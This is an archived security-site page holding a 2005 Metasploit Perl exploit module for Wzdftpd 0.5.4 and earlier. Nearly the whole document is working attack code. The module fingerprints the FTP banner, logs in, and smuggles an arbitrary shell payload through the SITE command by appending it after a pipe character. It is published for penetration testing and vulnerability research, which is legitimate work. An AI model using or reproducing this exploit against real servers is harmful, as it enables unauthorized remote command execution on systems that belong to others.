exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

wzdFTPd.pm.txt

wzdFTPd.pm.txt
Posted Nov 5, 2005
Authored by David Maciejak

Wzdftpd SITE command arbitrary command execution Metasploit plugin exploit for versions 0.5.4 and below.

tags | exploit, arbitrary
SHA-256 | 3e85d32db1a1b151f81bc4597b865d596dd534d0730ffb45e51d9520107e8d72

wzdFTPd.pm.txt

Change Mirror Download
# 
# Metasploit plugin for: Wzdftpd SITE Command Arbitrary Command Execution
# 2005 11 26 - David Maciejak
#

package Msf::Exploit::wzdftpd_site;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info = {
'Name' => 'Wzdftpd SITE Command Arbitrary Command Execution',
'Version' => '$Revision: 1.0 $',
'Authors' => [ 'David Maciejak <david dot maciejak at kyxar dot fr>' ],
'Arch' => [ ],
'OS' => [ ],
'Priv' => 1,
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 21],
'USER' => [1, 'DATA', 'Username', 'guest'],
'PASS' => [1, 'DATA', 'Password', '%'],
'SITECMD'=> [1, 'DATA', 'Custom site command'],
},

'Description' => Pex::Text::Freeform(qq{
This module exploits an arbitrary command execution vulnerability in Wzdftpd
threw SITE command. Wzdftpd version to 0.5.4 are vulnerable.
}),
'Refs' =>
[
['BID', '14935'],
],

'Payload' =>
{
'Space' => 128,
'Keys' => ['cmd','cmd_bash'],
},

'Keys' => ['wzdftpd_site'],
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

sub Check {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');

my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return $self->CheckCode('Connect');
}
my $res = $s->Recv(-1, 5);
$s->Close();

if (! $res) {
$self->PrintLine("[*] No FTP banner");
return $self->CheckCode('Unknown');
}

if ($res =~ /220 wzd server ready/)
{
$self->PrintLine("[*] FTP Server is a wzdftpd server");
return $self->CheckCode('Appears');
}
else
{
$self->PrintLine("[*] FTP Server is probably not vulnerable");
return $self->CheckCode('Safe');
}
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $custom_site_cmd=$self->GetVar('SITECMD');
my $encodedPayload = $self->GetVar('EncodedPayload');
my $cmd = $encodedPayload->RawPayload;
my $user = $self->GetVar('USER');
my $pass = $self->GetVar('PASS');

my $s = Msf::Socket::Tcp->new(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
);

if ($s->IsError){
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}

$self->PrintLine("[*] Establishing a connection to the FTP server ...");

$s->Send("USER ".$user);

my $result = $s->Recv(-1, 20);
if (!($result=~/\d{3} User .+ okay, need password/))
{
$self->PrintLine("[*] Invalid user");
return;
}

$s->Send("PASS ".$pass);
$result = $s->Recv(-1, 20);

if (!($result=~/\d{3} User logged in/))
{
$self->PrintLine("[*] Invalid password");
return;
}

$s->Send("SITE ".$custom_site_cmd." | $cmd;");
$result = $s->Recv(-1, 20);
if (!($result=~/^200/))
{
$self->PrintLine("[*] Error: $result");
return;
}

$self->PrintLine('');
my @results = split ( /\n/, $result );
chomp @results;
for (my $i = 1; $i < @results -1; $i++){
$self->PrintLine("$results[$i]");
}
return;
}

1;


Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    14 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    16 Files
  • 18
    Jun 18th
    26 Files
  • 19
    Jun 19th
    15 Files
  • 20
    Jun 20th
    18 Files
  • 21
    Jun 21st
    8 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    19 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close